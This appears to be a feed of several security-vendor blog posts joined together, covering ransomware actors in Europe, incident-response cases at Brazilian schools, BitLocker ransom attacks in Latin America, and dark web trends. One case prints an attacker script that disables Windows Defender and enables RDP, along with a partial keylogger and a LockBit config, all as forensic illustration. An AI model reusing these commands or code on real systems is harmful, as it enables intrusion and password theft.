Critical Observation: BFSI and Telecom sectors experience disproportionate data breach incidents, suggesting these industries are specifically targeted for data exfiltration rather than operational disruption. The strategic implication is clear: threat actors targeting financial and telecommunications organizations prioritize data monetization over ransom payment.

Most Active Threat Actors in Data Exfiltration: The Leak Economy

Primary Exfiltration Actors:

Actor	Confirmed Leak Posts	Targeting Pattern
tanaka	6	Industry-agnostic, global operations
kazutlg	4	BFSI and Professional Services focus
aslan1	2	Government and Technology sectors
darkcybervault	2	Retail and Professional Services
breach3d	2	Technology focus
frog	2	Diverse sector targeting
ken6k	2	BFSI concentration
max9898	2	Retail and Technology
worldrdp	2	Technology sector
zyad2drkwb	2	Government targeting
zoozkooz	2	Diverse sector
mr_x1	1	Retail focus
ventuuas	1	Professional Services
Others	18	Distributed diverse targeting

Strategic Finding: While Qilin, The Gentlemen, and LockBit dominate ransomware attack volume, data exfiltration is fragmented across numerous smaller actors, including tanaka (6 posts), kazutlg (4 posts), and dozens of single-incident operators. This suggests a mature data brokerage ecosystem where extracted data is resold to specialized exfiltration actors.

Dark Web Data Marketplace Activity:

• 916 unique domains impacted by data leaks
• Approximately 86 distinct leak posts across dark web channels
• Data types: Financial records, customer PII, medical records, intellectual property, trade secrets

Implication: Organizations can no longer assume encrypted data is "lost forever" if backups are restored. Exfiltrated data will be monetized regardless of whether organizations pay ransoms. Data loss prevention becomes as critical as ransomware detection.

Geopolitical and Ideological Dimensions: The Activism-Cybercrime Convergence

Pro-Russian Hacktivism: Blurred Lines Between Ideology and Profit

H1 2026 witnessed increasing overlap between geopolitically motivated hacktivism and financially motivated cybercrime, particularly among pro-Russian collectives targeting NATO-aligned European nations.

Key Threat Actors to Monitor

NoName057(16) - The Pro-Russian DDoS Coalition

• Primary Activity: Large-scale DDoS attacks against NATO-aligned governments and Ukrainian supporters
• Secondary Activity: Data exfiltration for monetization
• Geographic Targets: Estonia, UK, Ukraine, Italy, Spain, France, Poland, Norway, Denmark, Lithuania, Latvia, Czech Republic, Germany, Moldova
• Operational Pattern: Coordinated DDoS campaigns often accompanied by data theft and subsequent leak activity

Operational Evolution: NoName057(16) began as a purely activist collective claiming ideological motivation (anti-NATO, pro-Russia). By H1 2026, the group had evolved to include data exfiltration and monetization—suggesting either organizational evolution or infiltration by financially motivated threat actors.

Strategic Implication: European organizations cannot compartmentalize threat modeling. A geopolitically motivated attack that begins as a DDoS campaign can transition into ransomware deployment when exfiltration opportunities present themselves.

Strategic Defense Recommendations for European Organizations

Prioritized Defensive Roadmap

Based on CRIL's H1 2026 regional data, European security leaders should prioritize defensive investments in the following sequence:

Phase 1: Critical Infrastructure Protection (30 days)

1. Inventory Network Appliances: Document all network appliances (firewalls, SD-WAN platforms, security gateways, VPNs)
2. Patch Critical CVEs: Prioritize patches for Cisco, Ivanti, Palo Alto, Fortinet, and Microsoft appliances
3. Access Control Hardening: Implement MFA for all remote administrative access to network infrastructure
4. Monitoring Deployment: Deploy behavioral monitoring on network appliances for anomalous activity

Phase 2: Data Protection (60 days)

1. Data Inventory: Identify and catalog sensitive data holdings (customer data, financial records, intellectual property)
2. DLP Implementation: Deploy data loss prevention solutions with egress monitoring
3. Encryption Standards: Implement encryption for data in transit (TLS 1.3+) and at rest (AES-256)
4. Access Logging: Enable comprehensive audit logging for all sensitive data access

Phase 3: Operational Resilience (90 days)

1. Immutable Backups: Establish offline, immutable backup infrastructure isolated from network access
2. Incident Response Planning: Develop organization-specific incident response playbooks addressing ransomware scenarios
3. Business Continuity: Identify critical business functions and develop continuity strategies
4. Disaster Recovery Testing: Conduct quarterly backup restoration testing to verify recovery capabilities

Phase 4: Threat Hunting and Detection (Ongoing)

1. Threat Intelligence Integration: Subscribe to European threat intelligence feeds focusing on Qilin, The Gentlemen, LockBit, Akira, and Dragonforce
2. Behavioral Detection: Deploy endpoint detection and response (EDR) solutions with behavioral analytics
3. Supply-Chain Monitoring: Implement continuous monitoring of vendor and supplier security posture
4. Insider Threat Program: Develop insider threat detection capabilities focusing on data exfiltration attempts

Regional Threat Actor Summary: Who Targets Your European Organization

Sector-Specific Threat Actor Mapping

If You're in Construction:

• Primary Threat: Qilin, The Gentlemen
• Secondary Threat: Akira, Dragonforce
• Vulnerability: Network segmentation gaps, supply-chain vulnerabilities, legacy OT systems
• Defensive Focus: OT/IT segmentation, immutable backups, supplier security assessment

If You're in Professional Services:

• Primary Threat: Qilin, The Gentlemen
• Secondary Threat: LockBit, Akira
• Vulnerability: Client data exfiltration, regulatory exposure, ransomware payment pressure
• Defensive Focus: DLP, client data encryption, ransomware-specific insurance

If You're in Manufacturing:

• Primary Threat: Qilin, The Gentlemen
• Secondary Threat: Akira, Dragonforce
• Vulnerability: OT/IT integration, supply-chain exploitation, operational downtime pressure
• Defensive Focus: OT segmentation, vulnerability prioritization, continuity planning

If You're in BFSI:

• Primary Threat: Qilin, The Gentlemen, LockBit
• Secondary Threat: Data exfiltration actors (tanaka, kazutlg)
• Vulnerability: Financial data value, regulatory breach notification pressure, customer trust exposure
• Defensive Focus: Data encryption, DLP with aggressive egress controls, cyber insurance

If You're in Healthcare:

• Primary Threat: Qilin, The Gentlemen, LockBit
• Secondary Threat: Data exfiltration operators
• Vulnerability: Patient safety risk, critical operational pressure, medical device security
• Defensive Focus: Clinical system isolation, redundant critical systems, incident response for operational continuity

Conclusion: The European Ransomware Reality

Europe and the UK face a mature, organized ransomware ecosystem dominated by five sophisticated threat actors who have developed deep understanding of regional economic vulnerabilities. The threat is not random or opportunistic—it is strategic, targeted, and evolved.

Key Takeaways:

1. Five groups dominate: Qilin (158 attacks), The Gentlemen (144), LockBit (61), Akira (59), and Dragonforce (54) collectively account for 476 of 866 documented attacks (55%). European security leaders can build specific defensive strategies against known adversaries.
2. Geography matters: Germany, UK, France, Italy, and Spain face distinct threat profiles. Security strategies must be regionally and sector-specific, not generic.
3. Sectors are targeted deliberately: Construction, Professional Services, and Manufacturing are not randomly selected—they face extraordinary pressure due to economic vulnerabilities that threat actors systematically exploit.
4. Data exfiltration is the primary leverage: Of 866 attacks, only 51 resulted in confirmed breaches—but this understates the risk. Organizations must assume all breaches involve data exfiltration and cannot rely on backup restoration alone.
5. Patch management is the primary defense: Nearly 90% of exploited vulnerabilities had patches available. Disciplined patch management, particularly for network appliances, would prevent the vast majority of successful attacks.
6. Known vulnerabilities are the current threat: Despite awareness of zero-day sophistication, threat actors continue exploiting known vulnerabilities because patches lag adoption. This creates a predictable exploitation window that defensive teams can close.

For European security leaders, the path forward is to understand your regional threat actors, prioritize critical infrastructure protection, implement robust data protection measures, and establish resilient backup and recovery infrastructure. The threat is severe, but it is also understood and defensible. The question is not whether European organizations will face ransomware attacks in the remainder of 2026 and beyond—the data confirms they will. The question is whether they will be prepared.

The post Ransomware Threats in Europe H1 2026: A Deep Dive into Regional Attack Patterns and Dominant Threat Actors appeared first on Cyble.

Introduction

Because of the amount of data that can be obtained and the high impact that successful attacks may have, educational institutions are frequent targets of cybercriminals. Both public and private schools and universities rely on software for managing personally identifiable information (PII) that is often insecure or insufficiently tested against known vulnerabilities. In addition, machines used by multiple people without accountability can be vulnerable to insider threats.

The complexity of academic environments amplifies this risk. Unlike corporate networks, educational institutions have to provide a network that supports students, professors, researchers, administrative staff, third-party contractors, and visitors. Each of these groups has different security requirements and access control levels, making it difficult to enforce consistent security policies. A security breach can have severe consequences since it may expose vast amounts of sensitive information, such as social security numbers (CPF in Brazil), addresses, phone numbers, and even parents’ names. Armed with this information, attackers can attempt phishing attacks and impersonate the victims in SIM swapping attacks, a common practice in Brazil.

In this article, we provide details about attacks on educational institutions in Brazil observed by our Global Emergency Response Team (GERT) since 2025. We share general statistics, common threats, initial access vectors, and the impact of such violations. Additionally, we present some interesting cases encountered by our team and the identified TTPs. Finally, we offer recommendations to help institutions protect themselves against future attacks.

Key findings and statistics

Our dataset encompasses incident response cases from January 2025 to June 2026. As the chart below shows, the majority of attacks targeted institutions in São Paulo state, Brazil’s most populous state and a significant center of economic and financial activity. We also had cases in Rio de Janeiro and Pernambuco.

Geographical distribution of incident response requests at educational institutions (download)

Of the customers who requested incident response, 60% were private institutions and 40% were public institutions.

Private and public institutions (download)

The most frequent reasons for requesting IR services were related to suspicious endpoint activities, encrypted files, and the presence of suspicious files.

Incident response request reasons (download)

High-severity incidents accounted for 40% of the total cases, while the remaining 60% were medium severity.

Distribution of incidents by severity (download)

The high-severity incidents were mainly related to ransomware attacks. Interestingly, private institutions were the most targeted by ransomware, while incidents in public institutions were mostly related to suspicious endpoint activity and privilege escalation attempts. The most common ransomware families found in our dataset were DragonForce and LockBit 3, whose builder was leaked back in 2022. By using the leaked LockBit builder with a valid privileged account, attackers can build variants capable of disabling defenses and erasing logs.

The most common initial access vectors included the use of valid accounts, exploitation of public-facing applications, and insiders.

Initial access vectors (download)

For privilege escalation, the attackers often relied on Potato variants (GodPotato, SweetPotato, and BadPotato).

We also observed attackers using tools like AnyDesk for remote access, PsExec for lateral movement within compromised infrastructures, and AV-killer malware to terminate the system’s defenses. The latter was mainly used in ransomware-related incidents.

These data reveal an interesting pattern in the threat landscape affecting educational institutions in the region. Many incidents were not caused by highly sophisticated techniques but rather by the abuse of common weaknesses such as valid accounts, exposed applications, and inadequate patch management, as well as the use of publicly available tools that are well-known to the adversaries. The prevalence of ransomware in private institutions suggests a stronger financial motivation, likely because attackers assume these organizations are more capable of paying for data recovery than public schools and universities.

Most attacks were discovered promptly and lasted from a few minutes to a couple of hours. However, technical incident response activities averaged 9.6 hours. This indicates that the impact caused by an incident often extends beyond the timeframe of the active attack, requiring extensive triage and analysis by the forensic investigators to fully restore operations.

One interesting fact is that we are still observing the use of Windows 10 in the infrastructures of educational institutions, even after Microsoft’s official end-of-support date of October 2025. In addition, we found that some customer organizations were using Windows Server 2016 without security patches and fixes. Using outdated and unsupported operating systems increases the attack surface of an infrastructure because attackers can exploit publicly available vulnerabilities to access vulnerable systems and expand their presence in the network. In addition, legacy operating systems may be incompatible with modern evidence collection tools, necessitating extra time and alternative procedures for forensic acquisition.

Obsolete systems in organizations (download)

Interesting cases

Case 01 – Leaked LockBit builder

In one case, we identified the use of a custom version of LockBit that was generated using the leaked builder. The ransomware was delivered to the organization’s infrastructure via a valid account that had been leaked. It encrypted the organization’s internal systems, including file servers and databases that stored student profiles and other data. There was no evidence of data exfiltration from the affected machines.

During our analysis of the LockBit sample, we were able to extract its configuration. Interestingly, it was configured without the impersonation and spreading options. This meant the attacker had to perform manual lateral movement to deploy the malware across the network.

"config": {
    "settings": {
      "impersonation": false,
      "local_disks": true,
      "network_shares": true,
      "kill_processes": true,
      "kill_services": true,
      "set_wallpaper": true,
      "self_destruct": true,
      "kill_defender": true,
      "wipe_freespace": true,
      "psexec_netspread": false,
      "gpo_netspread": false,
…

Further analysis revealed that the attacker used PsExec for lateral movement. By analyzing the Update Sequence Number (USN) Journal, we were able to identify .KEY files associated with PsExec that showed us the previously compromised machines used by the attacker.

After gaining access to the target machines, the adversaries deployed a batch script to disable the system’s defenses. Our analysis of this artifact showed that they had the administrative credentials to disable the EDR in place. In addition, the script enabled RDP, which gave the attackers remote access to the target. The listing below shows an excerpt of the script:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnRealTimeProtection /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScriptScanning /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "" /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{UUID}" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v ServiceKeepAlive /t REG_DWORD /d 0 /f
sc stop WinDefend
sc config WinDefend start= disabled

Finally, by cross-checking the Prefetch files, we were able to identify the precise dates of PsExecSvc.exe and LBB.exe (LockBit) execution. This revealed that the attacker established the initial connection to the analyzed machine around 5:30am UTC and ran LBB.exe for the last time at 10am UTC on the same day, resulting in an activity window of approximately four hours and thirty minutes. We were able to identify the extent of the compromise and the additional machines that required network isolation for further forensic analysis, containment, and remediation.

Case 02 – DragonForce deployed via AnyDesk

In another incident, we identified a compromised user account that the adversaries used to install the AnyDesk software to enable remote access. Although the attacker erased the system logs after encrypting the victim’s files, we were able to identify the ransomware execution event via the Prefetch and Amcache.hve files, which provided us with the SHA-1 hash of the sample.

Once we obtained the SHA-1 of the malicious artifact (named by the attacker as 1.EXE), we were able to confirm that it was a DragonForce variant. Even though the lack of evidence made the analysis more difficult, this case shows that forensic investigators must be prepared to identify information that the attackers missed or left untouched.

Case 03 – Python keylogger used by an insider

The third incident illustrates how a series of bad practices enabled an insider to collect passwords from other users inside the infrastructure. First, the customer contacted us stating that a machine was exhibiting strange behavior: files containing passwords were being created. We started with triage collection on one of the affected machines.

Evidence from the Program Compatibility Assistant (PCA) showed the execution of two suspicious files, Windows Host Widgets.exe and Windows Host Widgets_.exe, both located in the C:\Users\<user>\.vscode\dlo directory, where <user> represents a user account shared by everyone who uses the machine. The same artifacts were identified within the Amcache.hve file, and multiple executions were also confirmed by analyzing the Prefetch files. Another interesting source of evidence, UserAssist, confirmed that the threat actor also executed both EXE files by double-clicking on them.

MFT analysis showed that multiple log files named cacheX.txt were created in the previously mentioned directory, where X was a number that increased with each malware execution. We then analyzed the EXE files to confirm their behavior. Luckily, both proved to be the same Python script, which we could easily decompile.

As shown in the listing below, the script contains methods and strings with Portuguese names. It is capable of hiding the log files from view in Explorer. The developer also set a procedure to identify when the Caps Lock key was pressed, in order to record the correct passwords.

def get_base_path():
    ...

def encontrar_proximo_nome(base='cache'):
    ...

def set_file_hidden(filepath):
    ...
    ctypes.windll.kernel32.SetFileAttributesW(str(filepath), FILE_ATTRIBUTE_HIDDEN)
    ...

with open(log_file, 'a', encoding='utf-8') as f:
    f.write(f'\n\n--- Registro iniciado em {datetime.datetime.now()} ---\n')
set_file_hidden(log_file)
...

def is_capslock_on():
    return bool(ctypes.windll.user32.GetKeyState(20) & 1)

...

def on_press(key):
    ...

def on_release(key):
    ...

def main():
    with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()

if __name__ == '__main__':
    main()

This simple script did not implement any persistence or automated data exfiltration mechanisms. Therefore, the insider likely had to manually retrieve the generated log files containing the text typed by the victims. By revisiting the previously collected evidence, we identified USB connections around the same time as the script’s executions. This suggests that removable media was probably used to collect the generated keylogging logs from the environment. As a result of the investigation, the customer changed the passwords of all affected accounts. However, without additional evidence or footage, it was not possible to conclusively attribute the activities to a specific individual and take the appropriate disciplinary and legal measures.

Conclusions and recommendations

The incidents highlighted in this article demonstrate that Brazilian educational institutions face a diverse set of threats, ranging from ransomware operations to insider activity. In many cases, the attackers relied on valid credentials, exposed services, remote access tools, poor patch management, and insufficient endpoint hardening rather than advanced malware or new techniques. Based on these findings, educational institutions should prioritize controls that reduce the likelihood of account compromise and the impact of ransomware deployment. They should also improve forensic visibility after an incident.

Institutions should enforce the use of multi-factor authentication (MFA) for all publicly accessible services, especially VPNs, remote access portals, and email accounts. Since valid accounts were one of the most common initial access vectors observed in our dataset, MFA can significantly reduce the likelihood that stolen or reused credentials alone will compromise the entire environment. We also recommend periodically reviewing privileged accounts, removing unnecessary administrative permissions, and avoiding shared accounts, especially on machines accessed by multiple users, since this makes accountability extremely difficult.

Each user should have their own account, following the principle of least privilege to prevent unauthorized software execution. Additionally, it is advisable to restrict and monitor the use of remote access tools such as AnyDesk or TeamViewer. Unexpected installations or executions of these tools should be treated as high-priority alerts.

To minimize the impact of ransomware, educational institutions should improve their backup and recovery strategy. Backups should be isolated from the primary environment (preferably in more than one location) and tested regularly. Centralized logging, extended EDR telemetry retention, and proper time synchronization across hosts can also improve the ability to reconstruct an attack timeline and implement the necessary response measures.

The use of outdated systems increases the attack surface, so we recommend that organizations adopt an effective update and patch management policy. It is also important to raise security awareness, since users must understand the risks associated with credential sharing, unknown executables, and unauthorized software.

From a digital forensics and incident response (DFIR) perspective, the reviewed incidents demonstrate that effective incident response activities require correlating multiple forensic artifacts in order to reconstruct the attacker’s actions. Investigators should be aware of how to find information even when logs are missing. Many other artifacts are preserved and can be used for this purpose, such as Amcache, PCA, Prefetch, UserAssist, MFT, and USN Journal. The attackers may fail to erase all traces of their activity, so taking a broad forensic approach is of the utmost importance for determining the scope of the compromise and supporting containment and remediation actions.

Observed TTPs

The table below shows the observed TTPs in our dataset, including cases not detailed in this post.

Tactic	Technique	ID
Resource Development	Compromise Accounts	T1586
Collection	Input Capture: Keylogging	T1056.001
Execution	System Services: Service Execution	T1569.002
Execution	Hijack Execution Flow: DLL	T1574.001
Privilege Escalation	Exploitation for Privilege Escalation	T1068
Lateral Movement	Remote Services: Remote Desktop Protocol	T1021.001
Command and Control	Remote Access Tools	T1219
Exfiltration	Exfiltration over Physical Medium: Exfiltration over USB	T1052.001
Impact	Data Encrypted for Impact	T1486

Recently, our teams in Latin America investigated a series of incidents involving misconfiguration, the deployment of BitLocker, and the exploitation of corporate printers. Attackers used the devices to notify organizations that their infrastructure had been compromised and they had to pay a ransom to recover their data.

This article analyzes two incidents that occurred in June in Colombia and in May in Mexico. We highlight the similarities in the attackers’ communications and outline emerging trends in ransom amounts.

Initial sign of an attack

In both cases, the affected users initially noticed a padlock icon next to their drives in Windows Explorer. This indicated that the drive was encrypted with BitLocker, blocking access to its contents.

A recovery key was required to unlock the drive.

This is not the first time we have seen such threats; a few years ago, our team discovered a threat known as ShrinkLocker, which utilized BitLocker to achieve its goals.

First case: abusing RDP to encrypt data

One of the incidents occurred in Colombia in June. The attackers exploited an internet-exposed RDP service on a machine connected to an 8 TB storage device containing mission-critical data. After taking control of the system and manipulating user credentials, the attackers enabled BitLocker exclusively on the drive that primarily stored financial data. Once the encryption was complete, they locked the drive and used the company’s printers to produce ransom notes.

Unfortunately, it was not possible to obtain evidence in the case due to the company’s rush to restore the encrypted disk. The communication with the attackers revealed a demand for just $3,000, and the company considered paying the ransom. After that, the system was restored before the forensic team could take any action, eliminating the evidence needed to assess the incident.

This attack was made possible by an internet-facing remote desktop service (RDP) with additional open ports, which employees used to access corporate information. By exploiting this network exposure and misconfiguration, attackers breached the system, identified an additional drive, and leveraged BitLocker to encrypt the data and demand a ransom payment. Leaving RDP ports open without proper security controls jeopardizes the security of systems and information, as highlighted in the our “Global Report: Anatomy of a Cyber World“.

The company confirmed that, due to compatibility issues with applications required for operation, EPP (Endpoint Protection Platform) protection was disabled on the system, making it easier for attackers to validate, enumerate, and execute applications without revealing malicious activity to central monitoring systems.

Second case: meet the XEntry Team

In another incident, which occurred in Mexico in May, our team identified how the threat actor gained initial access to the infrastructure. They exploited a misconfigured MSSQL service. This allowed them to execute commands on the system after obtaining the database login credentials from code insecurely published on GitHub.

In this incident, the attack began three months prior to detection, with the intruder discovering and verifying their access to the environment. After confirming their access and privilege level within the MSSQL server settings, which extended beyond the DBMS to the underlying operating system, the attackers initially focused on manipulating certain aspects of the web server configuration on the same system. They lowered the server’s security settings and created web shell files in the publicly accessible folders. Many of these attempts to manipulate the service or create malicious files were contained by existing EPP security controls, but despite the alerts, the necessary investigation to address the activity was not conducted.

The attackers subsequently confirmed their ability to execute commands locally and set up their attack infrastructure to transmit data via a communications bridge. By exploiting the MSSQL service, they gained access to each of the organization’s internal systems.

The database engine used by the company was Microsoft SQL Server 2019.0150.2160.04, misconfigured to allow operating system сommand execution via the xp_cmdshell extended stored procedure.

Due to this misconfiguration of an internet-exposed service, the attackers established a channel capable of executing any type of command directed at the server and the local infrastructure within its scope.

One of the main objectives was to identify shared systems and resources that provided access to critical information. Our analysis confirmed the attackers’ access to systems storing configuration parameters for networking, enterprise management, and cloud services, among others.

In early May, the attackers focused on running additional scans and deploying ManageEngine’s Endpoint Central RMM (Remote Monitoring and Management) to establish persistence and begin the final stages of their intrusion.

Further RMM-type applications, such as Mesh Agent and Tactical RMM, were installed in the days that followed. These were used to deploy scheduled tasks responsible for enabling the BitLocker service and individually encrypting the infrastructure’s disks, generating a key for each encrypted system.

Finally, in mid-May, the attackers managed to execute a Group Policy Object (GPO) used to deploy activation and encryption tasks, as well as other policies responsible for continued deployment of RMM applications via scheduled tasks. The activity initially targeted critical systems but later spread to every system synchronized with the domain controller. Users became aware of the attack when their machines displayed a blue screen with the message “Hacked by XEntry Team”, and their credentials stopped working to access their systems.

A few hours later, ransom notes began emerging from office printers.

These cases confirm that adversary’s objective is to gain access to infrastructure while avoiding investment in or partnership with ransomware groups. Instead, they leverage built-in Microsoft tools to facilitate data encryption and ransom payments. Monitoring and centralizing logs on protected resources, as well as promptly managing alerts, are critical to countering this type of intrusion.

Conclusions

• Although the systems under review had security measures in place, there was a lack of proper alert management or inadequate decisions regarding application incompatibilities.
• We strongly recommend configuring the Remote Desktop Protocol (RDP) in strict accordance with cybersecurity best practices to prevent unauthorized access. This is especially critical: according to our Global Report: Anatomy of a Cyber World, more than 13% of incidents are related to policy violations and configuration errors, confirming that misconfigurations continue to pose a significant risk.
• Organizations should prioritize strict application control policies and active monitoring of network traffic for command-and-control (C2) communications. This is especially critical: according to the same report, more than 20% of incidents involved the abuse of RMM (Remote Monitoring and Management) tools for execution and C2 strategies. The fact that attackers used more than three distinct tools to gain control during a single incident further underscores the urgent need for these measures.
• Some questions remain unanswered due to a lack of evidence and a hasty system restoration effort that bypassed critical stages of the incident response process. It is important to ensure an adequate incident response procedure, preserving evidence to confirm all related activities, and adjusting or proposing controls to prevent future incidents involving similar TTPs.
• Although the ransom notes do not reveal a clear connection between the actors, certain words used in the messages, as well as the method of delivery and communication, may confirm a link:

“As a guarantee, we have no negative online reviews about non-fulfillment of our obligations…” (Ransom note from the first case)

“Our reputation is the guarantee that all content will be fulfilled…” (Ransom note from the second case)

Our teams continue to monitor these threats.

Detection signatures

• Trojan.Multi.Agent.gen
• Trojan.Win32.GenAutorunMsSqlServerCommandRun.a
• Trojan.Win32.Generic
• Exploit.Win32.SCShell.a

The dark web is no longer just a marketplace for stolen credentials; it has grown far beyond that point and now affects nearly every phase of the cyberattack lifecycle. Markets that once traded only compromised accounts now also sell ransomware services, initial network access, exploit kits, phishing infrastructure, and even AI-powered attack tools.  

What used to be a place for selling stolen data has become the operational backbone of modern cybercrime. 

The first half of 2026 alone is indicative of the trends we may continue to observe. The dark web has evolved into a highly organized ecosystem that facilitates cybercrime, underpins ransomware supply chains, fuels geopolitical campaigns, and accelerates identity-based attacks.  

Instead of serving as the endpoint for stolen data, it now functions as an operational hub where access, intelligence, and malicious services are traded before attacks even begin.  

The pace of activity reflects this shift: March 2026 alone recorded 702 ransomware attacks and 54 major publicly reported data breaches and leaks worldwide. 

Enterprise security teams must monitor such activities using continuous threat intel and underground monitoring. The current ecosystem is no longer optional as an intel exercise but an essential capability for spotting threats before they materialize.  

The dark web trends observed during the first half of 2026 reveal how underground ecosystems are reshaping the cyber threat landscape. 

1. Ransomware Operations Continue to Mature

During the first six months of 2026, ransomware remained one of the most disruptive cyber threats, but the infrastructure supporting it became noticeably more organized. Five ransomware operations—Qilin, Akira, The Gentlemen, DragonForce, and INC Ransom—accounted for more than 56% of ransomware activity recorded in March 2026.  

This concentration highlights the growing consolidation of the ransomware ecosystem, where a handful of established operators dominate attacks while relying on affiliates and underground service providers to scale their campaigns. 

Modern ransomware campaigns rarely focus on encrypting systems. Data theft has increasingly become a standard component in most attack scenarios, as it allows threat actors to pressure their victims with the threat of public exposure, even if the victims have proper backups and can restore their systems. Dark web leak sites play a major role in this, as they are where stolen information is published or auctioned when organizations do not want to pay.  

This shift will require businesses to monitor underground forum trends in H1 2026, including discussions about leaked data, targeted organizations, and early chatter about upcoming campaigns. Regional data reinforces the same trend. In the Americas alone, 1,305 cyber incidents were reported during Q1 2026, including 1,138 publicly claimed ransomware attacks. Nearly 58% of those attacks were attributed to just five ransomware groups. 

2. Access Brokers Are Powering the Underground Economy 

Many cyberattacks are now starting long before ransomware is deployed. Initial access brokers have become major players, specializing in one activity: network compromise and then selling that access to other threat actors. 

Underground marketplaces also showed growing demand for initial access. In March 2026 alone, researchers observed 80 separate listings advertising access to compromised corporate networks. Government & LEA remained the most targeted industry, with 11 tracked incidents. Governments, Professional services, Manufacturing, and Retail continued to be persistently targeted. 
 
The bulk of this activity traced back to Big-Bro, an initial access broker (IAB) who has operated on Russian-language cybercrime forums since 2022. Two newer actors followed: Saturned33, who appeared in 2025, and Vexin, who surfaced in early 2026 (primarily active in March) and built a reputation selling unauthorized access to corporate cloud environments across multiple countries. 

Ransomware groups and espionage operators don’t need to spend time and effort breaching organizations themselves; they can buy verified entry points into corporate environments. This new division of labor has made cybercrime much faster and more effective. 

Access is typically sold soon after a compromise, so defenders have less time to detect exposed credentials or compromised infrastructure. As such, dark web intelligence is valuable not only for identifying stolen data but also for indicating that access to an organization's network is already being traded on underground markets. 

To see how Cyble’s threat intelligence can help your organization detect external exposure and track threat activity, book a personalized demo. 

3. Identity Has Become the Primary Attack Surface 

With the rise of credential-based attacks over malware, the security perimeter is pretty much irrelevant. The most common enterprise infiltration paths include credential theft, session hijacking, bypassing multi-factor authentication, and abuse of third-party access. All those have one thing in common: valid credentials. 

From an attacker's perspective, logging in with legitimate credentials generates far less suspicion than exploiting software vulnerabilities. As organizations expand cloud adoption and remote work, identities have become a new perimeter. 

Compromised endpoints have always been a key initial access vector for a variety of illicit activities, ranging from data breaches to initial access brokerage (IAB) operations. Compromised Endpoint monitoring is essential to securing an organization’s digital surface in the current threat landscape.  

Over the last 6 months, Vision observed 9.7 billion compromised endpoints. This trend also explains why stolen usernames, passwords, authentication tokens, and corporate accounts continue to be traded on the dark web. Monitoring for exposed credentials allows organizations to respond before compromised identities are weaponized. 

Your executives are a prime target. → Discover how Cyble Executive Monitoring detects executive impersonation and deepfakes before they escalate.

4. Geopolitical Events Are Driving Cyber Activity 

The connection between global conflicts and dark web activity has become increasingly apparent during the first half of 2026. State-sponsored groups, hacktivists, and financially motivated criminals frequently operate in parallel during periods of geopolitical tension, creating a more complex threat environment. 

Rather than focusing exclusively on immediate disruption, many sophisticated actors are investing in long-term access to critical infrastructure, telecommunications, transportation, and energy systems. During the February 2026 escalation in the Middle East, cyber operations demonstrated how geopolitical events now extend into the digital domain.  

Internet connectivity in affected regions reportedly dropped to between 1% and 4% of normal levels; more than 70 hacktivist groups became active; over 8,000 conflict-themed domains were registered for scams and malware campaigns; and disruptions to navigation systems affected more than 1,100 vessels near the Strait of Hormuz. 

This convergence of political objectives and cybercrime makes attribution more difficult and raises the importance of monitoring underground discussions that may signal emerging campaigns before they reach production environments. 

When physical events become cyber risks, can you connect the dots? → Explore Cyble's Physical Security Intelligence

5. AI Is Accelerating Both Attackers and Defenders 

Artificial intelligence has moved from experimentation to operational use across the cybersecurity landscape. Threat actors are increasingly using AI-assisted techniques to automate reconnaissance, accelerate the exploitation of vulnerabilities, and scale phishing campaigns with greater precision. 

The dark web has become a marketplace for sharing AI-enabled attack tools alongside traditional malware, making advanced capabilities accessible to less experienced operators. This lowers the barrier to entry while increasing the overall speed of cyber operations. 

Dark web threat intelligence in 2026 is becoming increasingly AI-driven, with defenders using automated analysis to process large volumes of dark web data, identify indicators of compromise, and prioritize threats in near real time. As attacks unfold more rapidly, automation is becoming necessary to reduce detection and response times. 

The question is no longer whether your organization appears on the dark web. The real question is whether you'll discover it before your attackers do. 

Get Cyble’s Global Threat Landscape Report – H1 2026 for critical insights into the new cyber ecosystem and the actions security leaders should prioritize next.

Conclusion 

The first half of 2026 stresses that the dark web is no longer where stolen information appears after an incident. It has evolved into a live intelligence environment where attacks are planned, infrastructure is traded, identities are monetized, and emerging tactics become visible before they reach production networks. 

Organizations that incorporate dark web intelligence into broader security operations gain more than visibility into compromised data; they gain early warning of evolving threats.  

As ransomware groups become more coordinated, identity attacks continue to rise, and AI reshapes offensive capabilities. Proactive monitoring will play an important role in reducing cyber risk during the remainder of 2026. 

References: 

• 2026 Threat Intelligence Trends, Cyber and Ransomware Report
• Cyble's Monthly Threat Landscape Analysis - March 2026

The post Inside the Underground Economy: 5 Dark Web Trends Shaping the 2026 Threat Landscape appeared first on Cyble.

Executive Summary 

The FIFA World Cup 2026 has become more than a global sporting event. It has evolved into a large-scale cybercrime opportunity exploited by threat actors through a coordinated ecosystem of fraudulent domains, social media channels, messaging platforms, pirated streaming services, and dark web activity. Since May 2026, Cyble Research and Intelligence Labs (CRIL) has identified nearly 4,000 domains impersonating FIFA-related brands, ticketing platforms, streaming services, and fan-facing resources. 
 
